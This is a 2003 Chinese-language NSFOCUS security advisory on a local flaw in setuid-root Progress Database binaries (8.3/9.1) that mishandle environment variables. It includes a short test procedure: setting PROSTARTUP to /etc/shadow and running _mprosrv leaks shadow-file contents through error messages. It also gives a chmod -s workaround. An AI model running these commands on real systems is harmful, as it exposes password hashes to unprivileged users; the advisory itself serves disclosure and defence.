安全研究

安全漏洞
Progress数据库程序泄露特权文件信息漏洞

发布日期:2003-04-03
更新日期:2003-04-10

受影响系统:
Progress Database 9.1C
Progress Database 9.1B
Progress Database 8.3V
Progress Database 8.3E
Progress Database 8.3D
Progress Database 9.1D
    - HP HP-UX 11.0
    - IBM AIX 4.3.3
    - Microsoft Windows NT 4.0
    - Microsoft Windows 2000
    - RedHat Linux 7.1
    - RedHat Linux 7.0
    - RedHat Linux 6.2
    - Sun Solaris 2.6
    - SuSE Linux 7.2
描述:
BUGTRAQ  ID: 7273

Progress是一款商业性质的数据库系统,可使用在Microsoft Windows和Unix操作系统下。

Progress部分二进制程序不正确处理环境变量,本地攻击者可以利用这个漏洞查看系统敏感文件信息。

Progress部分二进制程序以SETUID ROOT属性安装,由于不正确检查环境变量,本地用户可以通过环境变量执行任意系统文件作为配置文件,当运行程序读取配置文件时,可导致执行的敏感文件信息被高权限用户权限以错误消息方式泄露。

<*来源:KF (dotslash@snosoft.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104940621718436&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

KF (dotslash@snosoft.com)提供了如下测试方法:

bash-2.03$ cat /etc/shadow
cat: cannot open /etc/shadow: Permission denied (error 13)

bash-2.03$ export PROSTARTUP=/etc/shadow
bash-2.03$ export PROMSGS=/path/to/promsgs

bash-2.03$ /u/dlc7/bin/_mprosrv
17:37:28 SERVER: ** Could not recognize argument: daemon:*::0:0. (301)

bash-2.03$ /u/dlc8/bin/_mprosrv
17:37:20 SERVER   : ** Could not recognize argument: daemon:*::0:0. (301)

bash-2.03$ /u/dlc9/bin/_mprosrv
17:37:08 SERVER   : ** Could not recognize argument: daemon:*::0:0. (301)

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* chmod -s去掉$DLC文件夹中所有程序的S位。

厂商补丁:

Progress
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.progress.com/progress/index.htm

浏览次数:3253
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障